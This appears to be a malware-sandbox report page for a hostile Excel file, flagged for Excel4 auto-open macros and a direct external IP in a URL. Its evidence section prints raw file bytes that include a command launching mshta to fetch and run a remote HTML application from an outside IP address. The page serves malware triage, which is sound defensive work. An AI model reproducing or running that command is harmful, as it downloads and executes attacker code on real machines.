Hostile 99% Download

c35c87941b46253d3d8326a0288cfa5143f0171bc159fd8f66c12eb778225863.xlsx

Detects Excel4 macro use with auto open / closeDirect external IP address in URL
SHA-256c35c87941b46253d3d8326a0288cfa5143f0171bc159fd8f66c12eb778225863
MaleculeO(C)Th

Evidence

Detects Excel4 macro use with auto open / close line 0
0��ࡱ�����������������>���� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Direct external IP address in URL line 75511
75511����,�������Q����������� ���;�4�CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.htmlBn����������������}��B�6���������U�� ���� ����P���H����������������0�����(���� �������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.